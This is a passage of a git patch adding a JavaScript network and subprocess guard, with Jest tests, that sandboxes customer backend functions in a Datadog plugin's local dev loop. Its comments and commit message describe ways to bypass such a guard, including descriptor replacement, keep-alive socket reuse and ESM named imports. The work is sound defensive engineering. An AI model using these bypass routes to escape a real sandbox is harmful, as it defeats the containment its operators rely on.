abandoned runBlocked call's late restore corrupt a newer, currently-active runBlocked scope", async () => { + let resolveAbandoned: (() => void) | undefined; + const abandoned = runBlocked( + () => + new Promise((resolve) => { + resolveAbandoned = resolve; + }), + ); + + // Simulates the timeout handler abandoning this execution, exactly like local-execution.ts's timer callback. + forceReset(); + + // A second, newer execution starts its own scope; the fetch() check runs from inside its fn to verify customer code is still blocked. + let openGate: (() => void) | undefined; + const gate = new Promise((resolve) => { + openGate = resolve; + }); + let currentFetchResult: Promise | undefined; + const current = runBlocked(async () => { + await gate; + currentFetchResult = fetch('https://example.com'); + await currentFetchResult.catch(() => undefined); + }); + + // The abandoned execution's fn() finally settles — its own finally block must not unblock the still-running newer scope. + resolveAbandoned?.(); + await abandoned; + + openGate?.(); + await current; + await expect(currentFetchResult).rejects.toThrow(/Network access is not allowed/); + }); + + // The "const original = x; x = mock; x = original;" idiom hands the guard itself back on + // restore — confirms this round-trips to the real value instead of recursing into itself. + test('Should not infinite-recurse when a caller restores a previously-read guard back onto a guarded property', async () => { + const nativeStandIn = jest.fn().mockResolvedValue('native result'); + const originalFetch = globalThis.fetch; + (globalThis as { fetch: typeof fetch }).fetch = + nativeStandIn as unknown as typeof fetch; + + try { + const capturedOriginal = globalThis.fetch; + const mock = jest.fn().mockResolvedValue('mock result'); + (globalThis as { fetch: typeof fetch }).fetch = mock as unknown as typeof fetch; + + await expect(fetch('https://example.com')).resolves.toBe('mock result'); + + (globalThis as { fetch: typeof fetch }).fetch = capturedOriginal; + + await expect(fetch('https://example.com')).resolves.toBe('native result'); + } finally { + (globalThis as { fetch: typeof fetch }).fetch = originalFetch; + } + }); + + // guardFetch is a process-wide singleton — code that never entered any runBlocked scope must not be blocked by an unrelated one. + test('Should not block a concurrent fetch() made from code that never entered any runBlocked scope', async () => { + const fetchMock = jest.fn().mockResolvedValue('unrelated response'); + const originalFetch = globalThis.fetch; + (globalThis as { fetch: typeof fetch }).fetch = fetchMock as unknown as typeof fetch; + + try { + let resolveBlocked: (() => void) | undefined; + const blocked = runBlocked( + () => + new Promise((resolve) => { + resolveBlocked = resolve; + }), + ); + + // Made from code entirely outside runBlocked/runAllowed, e.g. a concurrent cloud-mode request's own real fetch call. + await expect(fetch('https://api.datadoghq.com/unrelated')).resolves.toBe( + 'unrelated response', + ); + + resolveBlocked?.(); + await blocked; + } finally { + (globalThis as { fetch: typeof fetch }).fetch = originalFetch; + } + }); + }); + + describe('runAllowed', () => { + test('Should let a real network call through when nested inside runBlocked', async () => { + const fetchMock = jest.fn().mockResolvedValue('real response'); + const originalFetch = globalThis.fetch; + (globalThis as { fetch: typeof fetch }).fetch = fetchMock as unknown as typeof fetch; + + try { + const result = await runBlocked(async () => + runAllowed(async () => fetch('https://api.datadoghq.com')), + ); + expect(result).toBe('real response'); + expect(fetchMock).toHaveBeenCalledWith('https://api.datadoghq.com'); + } finally { + (globalThis as { fetch: typeof fetch }).fetch = originalFetch; + } + }); + + test('Should re-block network once the allowed call finishes, while the outer execution is still running', async () => { + await runBlocked(async () => { + await runAllowed(async () => undefined); + await expect(fetch('https://example.com')).rejects.toThrow( + /Network access is not allowed/, + ); + }); + }); + + test('Should keep two concurrent, legitimate $.Actions calls both allowed while they overlap, independently of each other', async () => { + const fetchMock = jest.fn().mockResolvedValue('ok'); + const originalFetch = globalThis.fetch; + (globalThis as { fetch: typeof fetch }).fetch = fetchMock as unknown as typeof fetch; + const order: string[] = []; + + try { + await runBlocked(async () => { + const first = runAllowed(async () => { + order.push('first-start'); + await new Promise((r) => setTimeout(r, 20)); + // Must still succeed even after `second` already finished — each call's exemption is scoped to its own async chain, not a shared depth counter. + await expect(fetch('https://first.example.com')).resolves.toBe('ok'); + order.push('first-end'); + }); + const second = runAllowed(async () => { + order.push('second-start'); + await expect(fetch('https://second.example.com')).resolves.toBe('ok'); + order.push('second-end'); + }); + + await second; + await first; + }); + } finally { + (globalThis as { fetch: typeof fetch }).fetch = originalFetch; + } + + expect(order).toEqual(['first-start', 'second-start', 'second-end', 'first-end']); + }); + + // A shared, process-wide "allowed" toggle would wrongly let this sibling fetch() through while an unrelated $.Actions call is in flight. + test('Should keep a sibling raw fetch() call blocked while a concurrent, legitimate $.Actions call is in flight', async () => { + const fetchMock = jest.fn().mockResolvedValue('real response'); + const originalFetch = globalThis.fetch; + (globalThis as { fetch: typeof fetch }).fetch = fetchMock as unknown as typeof fetch; + + try { + await runBlocked(async () => { + const allowedCall = runAllowed(async () => { + await new Promise((r) => setTimeout(r, 20)); + return fetch('https://api.datadoghq.com'); + }); + + // Made directly by "customer code", not through runAllowed, while allowedCall is still in flight. + await expect(fetch('https://example.com')).rejects.toThrow( + /Network access is not allowed/, + ); + + await expect(allowedCall).resolves.toBe('real response'); + }); + } finally { + (globalThis as { fetch: typeof fetch }).fetch = originalFetch; + } + }); + + test('Should still re-block after the allowed call finishes even if it throws', async () => { + await runBlocked(async () => { + await expect( + runAllowed(async () => { + throw new Error('action call failed'); + }), + ).rejects.toThrow('action call failed'); + await expect(fetch('https://example.com')).rejects.toThrow( + /Network access is not allowed/, + ); + }); + }); + + // An abandoned execution's in-flight $.Actions call settling late must not affect any execution that runs afterward. + test("Should not let an abandoned runAllowed call's late settlement affect later executions", async () => { + let resolveAbandonedAction: (() => void) | undefined; + const abandonedAction = runAllowed( + () => + new Promise((resolve) => { + resolveAbandonedAction = resolve; + }), + ); + + // Simulates the timeout handler abandoning this execution while the $.Actions call above is still in flight. + forceReset(); + + // A newer execution's own legitimate $.Actions call must be correctly allowed through and re-blocked afterward. + const result = await runBlocked(async () => { + await runAllowed(async () => 'newer allowed call'); + await expect(fetch('https://example.com')).rejects.toThrow( + /Network access is not allowed/, + ); + return 'newer execution result'; + }); + expect(result).toBe('newer execution result'); + + // The abandoned call finally settles, well after being superseded — it must not affect anything else. + resolveAbandonedAction?.(); + await abandonedAction; + + // A further, unrelated later execution's own $.Actions call must still work. + const laterResult = await runBlocked(async () => + runAllowed(async () => 'later allowed call'), + ); + expect(laterResult).toBe('later allowed call'); + }); + + // Stricter than the test above: runAllowed is called after forceReset already cleared the guard, so it must be a no-op. + test('Should treat a runAllowed call that only starts after its execution was already abandoned as a no-op, not a stale-but-matching generation', async () => { + const fetchMock = jest.fn().mockResolvedValue('ok'); + const originalFetch = globalThis.fetch; + (globalThis as { fetch: typeof fetch }).fetch = fetchMock as unknown as typeof fetch; + + try { + forceReset(); + + let resolveLateAction: (() => void) | undefined; + const lateAction = runAllowed( + () => + new Promise((resolve) => { + resolveLateAction = resolve; + }), + ); + resolveLateAction?.(); + await lateAction; + + // If the bug were present, the late call's finally would have left fetch permanently blocked even with nothing legitimate currently executing. + await expect(fetch('https://example.com')).resolves.toBe('ok'); + + // A real, later execution must still work normally afterward. + const result = await runBlocked(async () => { + await runAllowed(async () => undefined); + await expect(fetch('https://example.com')).rejects.toThrow( + /Network access is not allowed/, + ); + return 'later execution result'; + }); + expect(result).toBe('later execution result'); + } finally { + (globalThis as { fetch: typeof fetch }).fetch = originalFetch; + } + }); + }); +}); + +describe('installGuardedProperty resilience', () => { + // guardWebSocket returns undefined (not a guard function) when the global doesn't exist — + // buildGuard() must not pass that to WeakMap.set(), which throws on a non-object key. + test('Should not throw when installing the WebSocket guard on a Node version where global WebSocket does not exist', () => { + const hadWebSocket = Object.prototype.hasOwnProperty.call(globalThis, 'WebSocket'); + const descriptor = hadWebSocket + ? Object.getOwnPropertyDescriptor(globalThis, 'WebSocket') + : undefined; + delete (globalThis as { WebSocket?: unknown }).WebSocket; + + try { + expect(() => { + jest.isolateModules(() => { + // eslint-disable-next-line global-require -- must load fresh, after WebSocket is deleted, to re-run this module's install-time guards + require('./network-guard'); + }); + }).not.toThrow(); + } finally { + if (descriptor) { + Object.defineProperty(globalThis, 'WebSocket', descriptor); + } + forceReset(); + } + }); + + // A wrapper closure over the previous guard (some mocking libraries' pattern, distinct from the + // direct-reassignment case the WeakMap handles) would otherwise recurse into itself forever, + // since its captured getReal() would read the shared `real` variable the new guard just set. + test('Should not recurse when a guard is restored via a wrapper closure instead of direct reassignment', async () => { + const originalFetch = globalThis.fetch; + try { + const realMock = jest.fn().mockResolvedValue('real result'); + (globalThis as { fetch: typeof fetch }).fetch = realMock as unknown as typeof fetch; + const previous = globalThis.fetch; + + (globalThis as { fetch: typeof fetch }).fetch = ((...args: Parameters) => + previous(...args)) as typeof fetch; + + await expect(fetch('https://example.com')).resolves.toBe('real result'); + } finally { + (globalThis as { fetch: typeof fetch }).fetch = originalFetch; + } + }); +}); + +describe('installGuardedProperty security', () => { + // A dependency could otherwise call `Object.defineProperty(globalThis, 'fetch', {...})` directly + // to replace the whole descriptor, silently restoring real network access — closed by installing + // non-configurable outside of Jest. RUNNING_UNDER_JEST is computed once at module load, so a + // fresh module instance with JEST_WORKER_ID unset is required to exercise that production branch. + test('Should make a guarded property non-configurable outside of Jest, closing the Object.defineProperty bypass, while still allowing plain reassignment', () => { + const originalJestWorkerId = process.env.JEST_WORKER_ID; + delete process.env.JEST_WORKER_ID; + + try { + // eslint-disable-next-line @typescript-eslint/no-explicit-any -- fresh module instance's export shape isn't worth re-declaring just for this one test + let freshInstallGuardedProperty: any; + jest.isolateModules(() => { + // eslint-disable-next-line global-require -- must load fresh, with JEST_WORKER_ID unset, to exercise the non-Jest non-configurable branch + freshInstallGuardedProperty = require('./network-guard').installGuardedProperty; + }); + + const target: { value: unknown } = { value: () => 'real' }; + freshInstallGuardedProperty( + target, + 'value', + (getReal: () => () => unknown) => + (...args: unknown[]) => + (getReal() as (...a: unknown[]) => unknown)(...args), + ); + + // A dependency replacing the whole descriptor outright must now fail loudly... + expect(() => { + Object.defineProperty(target, 'value', { + configurable: true, + enumerable: true, + value: () => 'hostile replacement', + }); + }).toThrow(/Cannot redefine property/); + + // ...while the legitimate "capture original, mock, restore" idiom still works via plain assignment. + const mock = () => 'mocked'; + (target as { value: unknown }).value = mock; + expect((target.value as () => string)()).toBe('mocked'); + } finally { + if (originalJestWorkerId !== undefined) { + process.env.JEST_WORKER_ID = originalJestWorkerId; + } + } + }); + + // Matches dns.resolveTlsa on Node 20: wrapping a method absent on this runtime would make + // feature-detection lie, then crash the moment a library actually calls it. + test('Should skip installing a guard entirely when the target property does not exist on this runtime', () => { + const target: Record = {}; + installGuardedProperty(target, 'doesNotExist', () => () => 'guard'); + expect(Object.prototype.hasOwnProperty.call(target, 'doesNotExist')).toBe(false); + }); +}); + +describe('guardEventSource', () => { + // Global EventSource requires --experimental-eventsource on this repo's Node versions, so this + // exercises guardEventSource directly against a fake constructor, not through the real global. + test('Should block construction inside runBlocked and allow it outside', async () => { + class FakeEventSource { + url: string; + constructor(url: string) { + this.url = url; + } + } + const Guarded = guardEventSource(() => FakeEventSource) as new (url: string) => unknown; + + await expect( + runBlocked(async () => { + new Guarded('http://example.com'); + }), + ).rejects.toThrow(/Network access is not allowed/); + + expect(() => new Guarded('http://example.com')).not.toThrow(); + }); + + test('Should return undefined when the real EventSource does not exist on this runtime', () => { + expect(guardEventSource(() => undefined)).toBeUndefined(); + }); +}); + +describe('construct-trap newTarget forwarding', () => { + // Discarding newTarget would make `class Foo extends WebSocket/Worker {}` silently produce a + // base instance instead — exercised against fake constructors to avoid real construction side effects. + test('guardWebSocket should forward newTarget so a subclass produces an instance of that subclass', () => { + class FakeWebSocket { + url: string; + constructor(url: string) { + this.url = url; + } + } + const Guarded = guardWebSocket(() => FakeWebSocket) as new (url: string) => object; + class CustomWebSocket extends Guarded {} + + const instance = new CustomWebSocket('ws://example.com'); + expect(instance).toBeInstanceOf(CustomWebSocket); + }); + + test('guardWorker should forward newTarget so a subclass produces an instance of that subclass', () => { + class FakeWorker { + options: unknown; + constructor(options: unknown) { + this.options = options; + } + } + const Guarded = guardWorker( + () => FakeWorker as unknown as typeof worker_threads.Worker, + ) as unknown as new (options: unknown) => object; + class CustomWorker extends Guarded {} + + const instance = new CustomWorker({}); + expect(instance).toBeInstanceOf(CustomWorker); + }); +}); diff --git a/packages/plugins/apps/src/vite/network-guard.ts b/packages/plugins/apps/src/vite/network-guard.ts new file mode 100644 index 000000000..555d0e566 --- /dev/null +++ b/packages/plugins/apps/src/vite/network-guard.ts @@ -0,0 +1,438 @@ +// Unless explicitly stated otherwise all files in this repository are licensed under the MIT License. +// This product includes software developed at Datadog (https://www.datadoghq.com/). +// Copyright 2019-Present Datadog, Inc. + +/* global globalThis, Proxy */ + +import child_process from 'child_process'; +import dgram from 'dgram'; +import dns from 'dns'; +import net from 'net'; +import { AsyncLocalStorage } from 'node:async_hooks'; +import { syncBuiltinESMExports } from 'node:module'; +import { promisify } from 'node:util'; +import worker_threads from 'worker_threads'; + +import { createEpochGuard } from './execution-epoch'; + +// No OS sandbox here (unlike prod's Deno) — blocks net/subprocess at the JS level, scoped per-call via AsyncLocalStorage, not a global toggle. + +const NETWORK_BLOCKED_MESSAGE = + 'Network access is not allowed directly in backend functions — use $.Actions instead.'; +const SUBPROCESS_BLOCKED_MESSAGE = 'Spawning a subprocess is not allowed in backend functions.'; +const WORKER_THREAD_BLOCKED_MESSAGE = + 'Spawning a worker thread is not allowed in backend functions.'; + +// Stored on the real `net` module object (keyed by a process-wide Symbol), not a plain +// per-module `new AsyncLocalStorage()`: this file gets evaluated more than once (bundled copies +// in runBundlers.ts, and Jest's per-test-file module isolation), and each evaluation needs the +// SAME store. `globalThis`/`process` won't work either — Jest sandboxes those per test file too, +// so only the Symbol key would be shared, not the container. Node core modules are the one thing +// genuinely not re-sandboxed per test file. +function getSharedContext(key: string): AsyncLocalStorage { + const symbol = Symbol.for(`@dd/apps-plugin/network-guard ${key}`); + const registry = net as unknown as Record | undefined>; + if (!registry[symbol]) { + registry[symbol] = new AsyncLocalStorage(); + } + return registry[symbol]; +} + +// Scoped to the active `runBlocked` call's async chain, not process-wide, so unrelated concurrent callers aren't blocked too. +const blockedContext = getSharedContext('blockedContext'); + +// Scoped to the active `runAllowed` call's async chain, not process-wide, so a sibling call stays blocked during the exemption. +const allowedContext = getSharedContext('allowedContext'); + +function isCurrentlyBlocked(): boolean { + return blockedContext.getStore() === true && allowedContext.getStore() !== true; +} + +// `Symbol.for`, not a plain `Symbol()`, so every re-evaluation of this file (see above) recognizes +// an already-installed guard instead of minting its own distinct, unrecognizable symbol. +const ALREADY_GUARDED = Symbol.for('@dd/apps-plugin/network-guard installed'); + +// Jest's jest-environment-node wraps every test's `globalThis` in a Proxy whose defineProperty trap +// can't produce a non-configurable property without throwing — and by the time it throws, the trap +// has already mutated the real object, so a caught failure can't retry with a relaxed descriptor +// either. Detect Jest via this documented env var and relax configurability there instead of +// hitting that failure. A real Node process never sets this, so production keeps the full guard. +const RUNNING_UNDER_JEST = process.env.JEST_WORKER_ID !== undefined; + +// Scoped to `globalThis` only — module objects like `net`/`dgram`/`dns` are plain, un-proxied +// objects under Jest and never hit the issue above. This matters in CI: dd-trace's CI Visibility +// instrumentation patches those same core modules, and a configurable guard there would let it +// substitute its own unguarded function in place of ours. +function shouldAllowConfigurableUnderJest(target: object): boolean { + return RUNNING_UNDER_JEST && target === globalThis; +} + +/** + * Permanent getter/setter — a detached callback can still fire after `runBlocked` resolves and + * must stay blocked. The setter rebuilds the guard fresh on every write since some libraries + * (e.g. MSW) mark the last function object they saw as "already patched," and reusing one frozen + * object collides. Non-configurable except `globalThis` under Jest (see + * `shouldAllowConfigurableUnderJest`), so a dependency can't replace the whole descriptor via + * `Object.defineProperty`; plain `x = mock; x = original;` reassignment is unaffected by + * `configurable` and still works. Re-installing onto an already-guarded property is a no-op via + * `ALREADY_GUARDED`. + */ +export function installGuardedProperty( + target: object, + prop: string, + makeGuard: (getReal: () => T) => T, +): void { + const existingGetter = Object.getOwnPropertyDescriptor(target, prop)?.get as + | { [ALREADY_GUARDED]?: true } + | undefined; + if (existingGetter?.[ALREADY_GUARDED]) { + return; + } + + let real = (target as Record)[prop]; + if (real === undefined) { + // Nothing to guard — this runtime doesn't expose this method/global at all (e.g. + // `dns.resolveTlsa` on Node 20). Installing a wrapper anyway would make feature-detection + // read true while invoking it crashes, worse than leaving the property absent as native. + return; + } + // Tracks which `real` was active when each guard was built: the common "const original = x; + // x = mock; x = original;" idiom hands the guard itself back on restore (external code only + // ever reads the guard, never the true value), and without this map that would make the guard + // call itself forever. + const realAtGuardCreation = new WeakMap(); + + function buildGuard(): T { + // Closes over its OWN snapshot of `real`, not the shared mutable variable — a guard + // restored via a wrapper closure (`x = (...a) => previous(...a)`, unlike direct + // reassignment above) would otherwise read whatever `real` currently holds and recurse + // into itself forever. + const capturedReal = real; + const guard = makeGuard(() => capturedReal); + // makeGuard can return a non-object (e.g. guardWebSocket returns undefined when the real + // global doesn't exist on this Node version) — WeakMap.set() throws on a non-object key, + // unlike get/has, which just return false/undefined for one. + if (guard !== null && (typeof guard === 'object' || typeof guard === 'function')) { + realAtGuardCreation.set(guard as object, real); + } + return guard; + } + + let currentGuard = buildGuard(); + const getter = (): T => currentGuard; + (getter as unknown as { [ALREADY_GUARDED]: true })[ALREADY_GUARDED] = true; + Object.defineProperty(target, prop, { + configurable: shouldAllowConfigurableUnderJest(target), + enumerable: true, + get: getter, + set: (value: T) => { + real = realAtGuardCreation.has(value as object) + ? (realAtGuardCreation.get(value as object) as T) + : value; + currentGuard = buildGuard(); + }, + }); +} + +function guardConnect( + getReal: () => typeof net.Socket.prototype.connect, +): typeof net.Socket.prototype.connect { + return function (this: net.Socket, ...args: unknown[]) { + if (!isCurrentlyBlocked()) { + return getReal().apply(this, args as Parameters); + } + throw new Error(NETWORK_BLOCKED_MESSAGE); + } as typeof net.Socket.prototype.connect; +} + +// Rejects rather than throws synchronously, matching fetch's real contract so callers using `.catch()`/`.rejects` directly still work. +function guardFetch(getReal: () => typeof fetch): typeof fetch { + return (...args: Parameters): ReturnType => { + if (!isCurrentlyBlocked()) { + return getReal()(...args); + } + return Promise.reject(new Error(NETWORK_BLOCKED_MESSAGE)); + }; +} + +// Same `this`-forwarding shape as guardConnect, shared by every plain network entry point with no +// special contract to preserve: dgram send/connect/bind, net.Server.listen, and the callback-style +// DNS resolver methods. +function guardNetworkMethod unknown>(getReal: () => F): F { + const wrapper = function (this: unknown, ...args: unknown[]): unknown { + if (!isCurrentlyBlocked()) { + return (getReal() as unknown as (...a: unknown[]) => unknown).apply(this, args); + } + throw new Error(NETWORK_BLOCKED_MESSAGE); + }; + return wrapper as unknown as F; +} + +// Same shape as guardNetworkMethod, but rejects instead of throwing synchronously — dns.promises.* +// always returns a Promise, so a `.catch()`-chaining caller needs a rejection, not a thrown exception. +function guardNetworkPromiseMethod Promise>( + getReal: () => F, +): F { + const wrapper = function (this: unknown, ...args: unknown[]): unknown { + if (!isCurrentlyBlocked()) { + return (getReal() as unknown as (...a: unknown[]) => unknown).apply(this, args); + } + return Promise.reject(new Error(NETWORK_BLOCKED_MESSAGE)); + }; + return wrapper as unknown as F; +} + +// `WebSocket` isn't in this project's @types/node surface (no `lib: "dom"`) even though newer Node +// provides it at runtime — `unknown` is the correct escape hatch. A Proxy construct trap, not a +// subclass, so a runtime swap via installGuardedProperty's setter is picked up on the next `new`. +export function guardWebSocket(getReal: () => unknown): unknown { + const real = getReal(); + if (real === undefined) { + // This repo's supported Node range spans versions where global WebSocket doesn't exist yet. + return undefined; + } + return new Proxy(real as object, { + // Forwards the caller's real `newTarget` into Reflect.construct's 3rd arg — a bare + // `new RealWebSocket(...args)` would ignore subclassing (`class Foo extends WebSocket {}`) + // and always produce a base instance, breaking it process-wide since this wrapper is global. + construct(_target, args, newTarget) { + if (isCurrentlyBlocked()) { + throw new Error(NETWORK_BLOCKED_MESSAGE); + } + const RealWebSocket = getReal() as new (...a: unknown[]) => object; + return Reflect.construct(RealWebSocket, args, newTarget); + }, + }); +} + +// EventSource's Undici-based transport bypasses the patched `net.Socket.connect` the same way +// WebSocket does — same guard shape as guardWebSocket above. Not reachable without +// `--experimental-eventsource` on this repo's Node versions, but guarding it unconditionally means +// it's already correct once a runtime does expose it. +export function guardEventSource(getReal: () => unknown): unknown { + const real = getReal(); + if (real === undefined) { + return undefined; + } + return new Proxy(real as object, { + construct(_target, args, newTarget) { + if (isCurrentlyBlocked()) { + throw new Error(NETWORK_BLOCKED_MESSAGE); + } + const RealEventSource = getReal() as new (...a: unknown[]) => object; + return Reflect.construct(RealEventSource, args, newTarget); + }, + }); +} + +// A worker gets a fresh V8 realm with its own module registry, so nothing inside it inherits this +// file's monkeypatches or the AsyncLocalStorage block context — the only enforceable boundary is +// blocking construction itself, the same Proxy construct-trap shape as guardWebSocket. +export function guardWorker( + getReal: () => typeof worker_threads.Worker, +): typeof worker_threads.Worker { + return new Proxy(getReal(), { + // Forwards newTarget for the same subclassing reason as guardWebSocket's construct trap. + construct(_target, args, newTarget) { + if (isCurrentlyBlocked()) { + throw new Error(WORKER_THREAD_BLOCKED_MESSAGE); + } + return Reflect.construct(getReal(), args, newTarget); + }, + }); +} + +// Shared guard logic for every subprocess entry point, since each only differs in its real signature. +function guardSubprocess unknown>(getReal: () => F): F { + // Forwards `this` via `.apply` since `ChildProcess.prototype.spawn` reads/writes fields on it, unlike the standalone functions. + const wrapper = function (this: unknown, ...args: unknown[]): unknown { + if (!isCurrentlyBlocked()) { + return (getReal() as unknown as (...a: unknown[]) => unknown).apply(this, args); + } + throw new Error(SUBPROCESS_BLOCKED_MESSAGE); + }; + return wrapper as unknown as F; +} + +/** + * exec/execFile's native `promisify.custom` lives on the specific function object, so a fresh + * wrapper silently drops it (breaking promisified callers), while reusing the original symbol + * would bypass the guard. Calls the already-guarded `wrapper`, converts its sync throw into a + * rejection to match promisify's contract, and attaches `.child` to match Node's real + * `PromiseWithChild` contract so callers that inspect/signal/terminate it don't lose it. + */ +function guardSubprocessWithPromisifyCustom unknown>( + getReal: () => F, +): F { + const wrapper = guardSubprocess(getReal); + Object.defineProperty(wrapper, promisify.custom, { + configurable: true, + writable: true, + value: (...args: unknown[]) => { + // `wrapper(...)` returns the real ChildProcess synchronously when not blocked (Node's + // native exec/execFile contract), or throws synchronously when blocked — in the + // latter case `child` stays undefined, which is correct since nothing was ever spawned. + let child: unknown; + const promise = new Promise((resolve, reject) => { + try { + child = (wrapper as unknown as (...a: unknown[]) => unknown)( + ...args, + (error: unknown, stdout: unknown, stderr: unknown) => { + if (error) { + reject(Object.assign(error as object, { stdout, stderr })); + } else { + resolve({ stdout, stderr }); + } + }, + ); + } catch (blockedError) { + reject(blockedError); + } + }); + (promise as unknown as { child: unknown }).child = child; + return promise; + }, + }); + return wrapper; +} + +installGuardedProperty(net.Socket.prototype, 'connect', guardConnect); +installGuardedProperty(globalThis, 'fetch', guardFetch); +// dgram (UDP) and the native WebSocket global are separate entry points from fetch/net — +// neither goes through net.Socket, so they need their own guards. +installGuardedProperty( + dgram.Socket.prototype, + 'send', + guardNetworkMethod, +); +installGuardedProperty( + dgram.Socket.prototype, + 'connect', + guardNetworkMethod, +); +// Inbound listeners are a separate entry point from the outbound send/connect above — a dependency +// can still open a real listening socket via net.createServer().listen(...) or dgram's .bind(...). +installGuardedProperty( + net.Server.prototype, + 'listen', + guardNetworkMethod, +); +installGuardedProperty( + dgram.Socket.prototype, + 'bind', + guardNetworkMethod, +); +installGuardedProperty(globalThis, 'WebSocket', guardWebSocket); +installGuardedProperty(globalThis, 'EventSource', guardEventSource); + +// dns.resolve*/dns.promises.resolve*/dns.Resolver/dns.promises.Resolver go through Node's native +// c-ares channel, bypassing the net.Socket/dgram.Socket guards above — each is a distinct function +// object needing its own guard. dns.lookup is deliberately excluded: this threat model is dev-loop +// safety, not DNS-tunneling exfiltration, and guarding it risks breaking hostname validation. +const DNS_RESOLVE_METHODS = [ + 'resolve', + 'resolve4', + 'resolve6', + 'resolveAny', + 'resolveCaa', + 'resolveCname', + 'resolveMx', + 'resolveNaptr', + 'resolveNs', + 'resolvePtr', + 'resolveSoa', + 'resolveSrv', + 'resolveTlsa', + 'resolveTxt', + 'reverse', +] as const; +for (const method of DNS_RESOLVE_METHODS) { + // Matches the child_process 'fork'/'exec' calls below: the guards are generic, and this loop's + // target real signature differs per method/surface, so the type argument is pinned to each + // guard's own constraint rather than each method's real (and here, irrelevant) shape. + installGuardedProperty<(...args: never[]) => unknown>(dns, method, guardNetworkMethod); + installGuardedProperty<(...args: never[]) => unknown>( + dns.Resolver.prototype, + method, + guardNetworkMethod, + ); + // dns.promises.*/dns.promises.Resolver.prototype.* always return a Promise, so these two use the + // reject-not-throw guard above instead — matching the real contract callback-style dns.*/ + // dns.Resolver.prototype.* don't have. + installGuardedProperty<(...args: never[]) => Promise>( + dns.promises, + method, + guardNetworkPromiseMethod, + ); + installGuardedProperty<(...args: never[]) => Promise>( + dns.promises.Resolver.prototype, + method, + guardNetworkPromiseMethod, + ); +} + +installGuardedProperty(child_process, 'spawn', guardSubprocess); +installGuardedProperty(child_process, 'spawnSync', guardSubprocess); +// `unknown` is the correct escape hatch here: exec/execFile's `__promisify__` property doesn't structurally satisfy a plain function type. +installGuardedProperty<(...args: never[]) => unknown>( + child_process, + 'exec', + guardSubprocessWithPromisifyCustom, +); +installGuardedProperty(child_process, 'execSync', guardSubprocess); +installGuardedProperty<(...args: never[]) => unknown>( + child_process, + 'execFile', + guardSubprocessWithPromisifyCustom, +); +installGuardedProperty( + child_process, + 'execFileSync', + guardSubprocess, +); +installGuardedProperty<(...args: never[]) => unknown>(child_process, 'fork', guardSubprocess); +// Also guards `ChildProcess.prototype.spawn` directly, since the functions above are thin wrappers a dependency could bypass them through. +const childProcessPrototype = child_process.ChildProcess.prototype as unknown as Record< + string, + unknown +>; +installGuardedProperty<(...args: never[]) => unknown>( + childProcessPrototype, + 'spawn', + guardSubprocess, +); + +installGuardedProperty(worker_threads, 'Worker', guardWorker); + +// `installGuardedProperty` only patches each built-in's CJS default-export object; Node keeps ESM +// named bindings (`import { spawn } from 'node:child_process'`) as separate references still bound +// to the original native values. `syncBuiltinESMExports` re-syncs them so a named import still hits +// the guard. Not unit-tested here — Jest's CJS transform can't reproduce the real ESM-binding +// divergence this fixes; verified instead via a standalone `node --input-type=module` script. +syncBuiltinESMExports(); + +// Guards against the same abandoned-scope-corrupts-a-newer-one race as `local-execution.ts` — see `execution-epoch.ts`. +const blockEpoch = createEpochGuard(); + +// Runs `fn` with network/subprocess access blocked; wraps the customer's function body in `local-execution.ts`'s `runScriptLocally`. +export async function runBlocked(fn: () => Promise): Promise { + const scope = blockEpoch.start(); + try { + return await blockedContext.run(true, fn); + } finally { + scope.concludeIfCurrent(); + } +} + +// Exempts `fn`'s own async chain (not siblings) from an active `runBlocked` scope; no-ops if that scope was already abandoned via `forceReset`. +export async function runAllowed(fn: () => Promise): Promise { + if (!blockEpoch.hasActiveScope()) { + return fn(); + } + return allowedContext.run(true, fn); +} + +// Invalidates the block scope independently of runBlocked's try/finally, since a hung function would otherwise block forever. +export function forceReset(): void { + blockEpoch.forceInvalidate(); +} From 80ad5774ebb069f2bd4ed84154f6fcd8b2a6294f Mon Sep 17 00:00:00 2001 From: Tiffany Trinh Date: Thu, 3 Sep 2026 04:06:44 -0400 Subject: [PATCH 2/2] fix(apps): close network-guard's http keep-alive bypass, harden $.Actions input validation, dedupe guard functions MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A reused keep-alive socket (Node's default http.globalAgent) never calls net.Socket.connect() again for a second request to the same host, so guarding only connect() let a module-load-time warm-up request be reused from inside a blocked call to bypass the guard entirely. Closed by also guarding net.Socket.prototype.write()/end() — implemented as a socket destroy rather than a synchronous throw, since throwing from write() (unlike connect()) surfaces as an uncaught exception inside internal Node machinery that calls it without a try/catch, confirmed empirically for http's own request-flush code. serializeActionInputs now shares assertJsonSerializable's stricter validation instead of a bare JSON.parse(JSON.stringify(...)) round-trip, so a Map/Set/NaN/symbol-keyed $.Actions input fails loudly instead of reaching the destination action silently corrupted to {}/null/dropped. Also: deduped guardConnect into guardNetworkMethod, unified guardWebSocket/guardEventSource into one construct-trap factory, unified guardNetworkMethod/guardNetworkPromiseMethod/guardSubprocess into one parameterized wrapper factory, extracted makeActionsProxy's and registerActionCatalogOnce's identical validate/serialize/runAllowed sequence into a shared invokeAction helper, and fixed two inlined function-call-argument violations. --- .../apps/src/vite/local-execution.test.ts | 36 ++++ .../plugins/apps/src/vite/local-execution.ts | 92 ++++++--- .../apps/src/vite/network-guard.test.ts | 62 ++++++ .../plugins/apps/src/vite/network-guard.ts | 188 +++++++++++------- 4 files changed, 278 insertions(+), 100 deletions(-) diff --git a/packages/plugins/apps/src/vite/local-execution.test.ts b/packages/plugins/apps/src/vite/local-execution.test.ts index 77d2430ca..25cf4e1a9 100644 --- a/packages/plugins/apps/src/vite/local-execution.test.ts +++ b/packages/plugins/apps/src/vite/local-execution.test.ts @@ -429,6 +429,42 @@ describe('local-execution — executeScriptLocally', () => { ); }); + test('Should reject a $.Actions call whose inputs contain a Map, instead of silently sending {} to the destination action', async () => { + await expect( + executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ + example: () => + testDollar().Actions.slack.chat.postMessage({ + inputs: { text: new Map([['a', 1]]) }, + }), + }), + mockLogger, + ), + ).rejects.toThrow(/Inputs to action.*silently flattens/); + }); + + test('Should reject a $.Actions call whose inputs contain NaN, instead of silently sending null to the destination action', async () => { + await expect( + executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ + example: () => + testDollar().Actions.slack.chat.postMessage({ + inputs: { score: NaN }, + }), + }), + mockLogger, + ), + ).rejects.toThrow(/Inputs to action.*silently converts to "null"/); + }); + test('Should reject with the thrown message when the customer function throws 